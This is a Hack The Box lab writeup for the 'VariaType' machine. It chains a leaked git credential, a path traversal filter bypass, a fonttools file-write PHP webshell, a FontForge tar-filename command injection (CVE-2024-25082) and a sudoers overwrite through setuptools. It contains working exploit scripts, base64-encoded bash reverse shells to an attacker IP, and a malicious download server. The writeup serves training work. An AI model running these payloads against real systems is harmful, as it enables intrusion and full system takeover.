HTB: VariaType Writeup

HTB: VariaType Writeup

in

Summary

VariaType is a medium-difficulty Linux machine built around a professional variable font generation service. The attack surface opens with a vhost fuzzing discovery leading to an internal validation portal and, crucially, an exposed .git repository leaking hardcoded credentials in a commit diff. Those credentials authenticate us to the portal, where a naive path traversal filter on download.php is trivially bypassed to read PHP source and map the exact filesystem layout. With the web root in hand, we exploit a fonttools varLib arbitrary file write through a crafted .designspace upload, landing a PHP webshell directly in the portal’s public directory. From there, a cron job running FontForge as steve processes files from the same upload directory we control - vulnerable to CVE-2024-25082, which lets us inject commands via a malicious tar archive’s Table of Contents. That hands us a shell as steve. For root, steve has a sudo NOPASSWD entry for install_validator.py, which uses setuptools.PackageIndex to download and write plugin files. By serving a file with a URL-encoded absolute path in the Content-Disposition header, Python’s os.path.join discards the intended plugin directory entirely and writes our content straight to /etc/sudoers.

Recon

Nmap

nmap -sC -sV -p- 10.129.2.13

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
|_http-server-header: nginx/1.22.1

Two open ports: SSH on 22 and nginx on 80. HTTP immediately redirects to variatype.htb, so that goes into /etc/hosts before anything else.

Port 80 - variatype.htb

The site is a polished variable font generation service aimed at type designers. The core feature is a file upload accepting .designspace definitions alongside master .ttf or .otf files, which fonttools processes into a finished variable font:

For Type Designers

Upload your .designspace file and master fonts (.ttf/.otf) to generate a fully compliant
variable font. We use the same fonttools engine used by Google Fonts and major foundries.

Supported features:
  • Weight, width, optical size, and custom axes
  • OpenType layout features (GSUB/GPOS)
  • Automatic table generation (fvar, gvar, HVAR, MVAR)

A web application that passes user-controlled font files into a processing library is a meaningful attack surface - that upload endpoint is worth revisiting once we understand the application better.

Subdomain Enumeration

Since nginx is doing host-based routing, the redirect to variatype.htb hints there may be other vhosts worth finding. ffuf with a response size filter to eliminate the default redirect quickly finds one:

ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt \
     -H "Host: FUZZ.variatype.htb" -u http://variatype.htb -fs 169

portal                  [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 43ms]

portal.variatype.htb added to /etc/hosts.

portal.variatype.htb - Git Exposure

The portal serves an internal validation dashboard behind a login form. Before attacking the login itself, checking for a .git directory is always worth a moment - and here it pays off immediately:

git log --all -p

commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

diff --git a/auth.php b/auth.php
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
 <?php
 session_start();
-$USERS = [];
+$USERS = [
+    'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];

The most recent commit added a hardcoded credential for gitbot directly into auth.php. The developer presumably intended this as a short-lived service account for an automated pipeline, but the password landed in the git history where it will live forever. Logging in with gitbot:[REDACTED] drops us into the portal dashboard.

Foothold

Path Traversal LFI

Inside the portal, download.php serves files from the upload directory. The filter protecting it is a classic single-pass str_replace:

$file = str_replace("../", "", $file);
$filepath = '/var/www/portal.variatype.htb/public/files/' . $file;

This only removes ../ sequences once - it doesn’t loop. The sequence ....// survives the replacement because stripping the inner ../ leaves behind ../:

....//  →  (remove "../")  →  ../

Chaining several of these gets us a full traversal:

# Read /etc/passwd
curl -s -b cookies.txt \
  'http://portal.variatype.htb/download.php?f=....////....///....///....///....///etc/passwd'

root:x:0:0:root:/root:/bin/bash
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
<SNIP>

Two shell users: root and steve. With the traversal confirmed, pulling the PHP source is straightforward:

curl -s -b cookies.txt 'http://portal.variatype.htb/download.php?f=....////download.php'
curl -s -b cookies.txt 'http://portal.variatype.htb/download.php?f=....////auth.php'

The source reveals everything we need: files are served from /var/www/portal.variatype.htb/public/files/, and the portal’s web root is /var/www/portal.variatype.htb/public/. Having the exact path is critical for the next step.

fonttools varLib Arbitrary File Write

The main site’s variable font generator passes .designspace uploads directly to fonttools varLib. Within a .designspace file, the <variable-font filename="..."> attribute controls where the output font is written - and fonttools never validates it, happily accepting absolute paths.

The payload also needs to inject PHP into the output. A <labelname> element inside the designspace uses CDATA, and a specific splitting trick lets the PHP survive serialization:

<labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']); ?>]]]]><![CDATA[>]]></labelname>

The key here is ]]]]><![CDATA[> - this sequence closes the first CDATA block (via ]]>), emits a literal > character, then opens a new CDATA block. When fonttools serializes the font’s name table back to XML, it doesn’t re-escape the CDATA content, so the PHP payload lands verbatim in the output file. Setting filename to our target path in the portal’s web root completes the write primitive:

#!/usr/bin/env python3
import requests, re

target = "http://variatype.htb"

shell_ds = """<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']); ?>]]]]><![CDATA[>]]></labelname>
      <labelname xml:lang="fr">normal</labelname>
    </axis>
  </axes>
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location><dimension name="Weight" xvalue="100"/></location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
  </sources>
  <variable-fonts>
    <variable-font name="TestFont" filename="/var/www/portal.variatype.htb/public/shell.php">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
  <instances>
    <instance name="Thin" familyname="MyFont" stylename="Thin">
      <location><dimension name="Weight" xvalue="100"/></location>
      <labelname xml:lang="en">Thin</labelname>
    </instance>
  </instances>
</designspace>"""

with open("shell.designspace", "w") as f:
    f.write(shell_ds)

# Both 'masters' entries must be a list of tuples - requests silently drops
# duplicate dict keys, which would leave fonttools without a second source font
files = [
    ("designspace", ("shell.designspace", open("shell.designspace","rb"), "application/octet-stream")),
    ("masters",     ("source-light.ttf",  open("source-light.ttf", "rb"), "application/octet-stream")),
    ("masters",     ("source-regular.ttf",open("source-regular.ttf","rb"), "application/octet-stream")),
]

r = requests.post(f"{target}/tools/variable-font-generator/process",
                  files=files, allow_redirects=False)

if re.search(r'/download/([a-zA-Z0-9_\-]+)', r.text):
    print("[WRITE OK] shell.php written")

With the webshell at http://portal.variatype.htb/shell.php, trigger a reverse shell through it:

# base64-encoded bash reverse shell, URL-encoded for the GET parameter
http://portal.variatype.htb/shell.php?cmd=printf%20KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjQvOTAwMSAwPiYxKSAm|base64%20-d|bash
[+] [New Reverse Shell] => variatype 10.129.2.13 Linux-x86_64 👤 www-data(33)
[+] PTY upgrade successful via /usr/bin/python3
www-data@variatype:~/portal.variatype.htb/public$

Lateral Movement to steve

The Font Processing Pipeline

Exploring the filesystem as www-data turns up a backup script in /opt:

www-data@variatype:/opt$ cat process_client_submissions.bak
#!/bin/bash
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
<SNIP>

EXTENSIONS=("*.ttf" "*.otf" "*.woff" "*.woff2" "*.zip" "*.tar" "*.tar.gz" "*.sfd")

for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        <SNIP>
        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
font = fontforge.open('$file')
        "; then
            log "SUCCESS: Validated $file"
        fi
        mv "$file" "$PROCESSED_DIR/"
    done
done

This is almost certainly a cron job running as steve. It picks up every font-like file from the portal upload directory and passes each filename directly into a fontforge.open() call - with the filename interpolated unquoted into the shell command. We already have write access to that upload directory as www-data.

CVE-2024-25082 - FontForge Archive TOC Injection

When FontForge encounters an archive file, it extracts the first filename from the archive’s Table of Contents and passes it to system() to handle decompression. The C code assembles a command string like this:

sprintf(unarchivecmd,
    "( cd %s ; %s %s %s %s ) > /dev/null",
    archivedir,
    archivers[i].unarchive,   // e.g. "tar"
    archivers[i].extractargs, // e.g. "xf"
    name,                     // the archive filename
    desiredfile);             // ← from ArchiveParseTOC(), unsanitized
system(unarchivecmd);

desiredfile comes from parsing the TOC of the archive - it’s the first filename listed inside the tar. If we control the archive, we control that filename. Setting it to $(bash -c "...") makes the shell expand the subshell when FontForge calls system(). Python’s tarfile with USTAR_FORMAT writes that string verbatim into the TOC:

#!/usr/bin/env python3
import tarfile

cmd = '$(bash -c "printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjQvOTAwMiAwPiYxKSAm|base64 -d|bash")'

with tarfile.open("evil.tar", "w", format=tarfile.USTAR_FORMAT) as t:
    t.addfile(tarfile.TarInfo(cmd))

print("[+] evil.tar created")

Drop it into the upload directory and wait for the cron job to fire:

www-data@variatype:/tmp$ python3 ./exploit.py
[+] evil.tar created

cp evil.tar /var/www/portal.variatype.htb/public/files/evil.tar

A shell as steve arrives:

[+] [New Reverse Shell] => variatype 10.129.2.13 Linux-x86_64 👤 steve(1000)
[+] PTY upgrade successful via /usr/bin/python3
steve@variatype:/tmp/ffarchive-180374-1$

Privilege Escalation to root

Enumeration as steve

The first thing to check with a new user is what they can run as root:

steve@variatype:~$ sudo -l
(ALL) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

install_validator.py accepts a URL argument and runs as root with no password required. The script uses setuptools.package_index.PackageIndex to download and install a font validator plugin from that URL:

from setuptools.package_index import PackageIndex

index = PackageIndex()
downloaded_path = index.download(plugin_url, PLUGIN_DIR)

The setuptools URL-decode Bypass

PackageIndex.download() determines the output filename by reading the Content-Disposition header from the response, then URL-decoding it with urllib.parse.unquote(), and finally joining it with the plugin directory using os.path.join(). The problem is in that last step.

Python’s os.path.join has a well-known but often-overlooked behavior: if any component after the first is an absolute path, everything before it is silently discarded:

>>> import os.path
>>> os.path.join("/opt/font-tools/validators", "/etc/sudoers")
'/etc/sudoers'

The restriction to PLUGIN_DIR is completely defeated. The bypass works because the URL-encoded filename %2Fetc%2Fsudoers passes through the server as a string with no literal slashes - it may survive any early basename validation - and then unquote() turns it into /etc/sudoers just before os.path.join is called. At that point, the absolute path takes over and the file lands wherever we want.

A minimal one-line sudoers file is syntactically valid, so overwriting /etc/sudoers with it is enough:

# The payload: grant steve unrestricted passwordless sudo
echo 'steve ALL=(ALL) NOPASSWD: ALL' > /tmp/newsudoers

# Serve it with a URL-encoded absolute path in Content-Disposition
cat > /tmp/serve_sudoers.py << 'EOF'
from http.server import HTTPServer, BaseHTTPRequestHandler
PAYLOAD = open("/tmp/newsudoers", "rb").read()

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Disposition',
            'attachment; filename="%2Fetc%2Fsudoers"')
        self.send_header('Content-Length', str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
    def log_message(self, *args): pass

HTTPServer(('0.0.0.0', 8889), Handler).serve_forever()
EOF

python3 /tmp/serve_sudoers.py &

Trigger the download as root via the sudo entry:

steve@variatype:/tmp$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
  'http://10.10.14.24:8889/%2Fetc%2Fsudoers'

2026-03-15 12:10:43,924 [INFO] Attempting to install plugin from: http://10.10.14.24:8889/%2Fetc%2Fsudoers
2026-03-15 12:10:43,936 [INFO] Downloading http://10.10.14.24:8889/%2Fetc%2Fsudoers
2026-03-15 12:10:44,023 [INFO] Plugin installed at: /etc/sudoers
[+] Plugin installed successfully.

/etc/sudoers is now our content. The NOPASSWD: ALL grant is in effect:

steve@variatype:/tmp$ sudo su
root@variatype:/tmp# cat /root/root.txt
[REDACTED]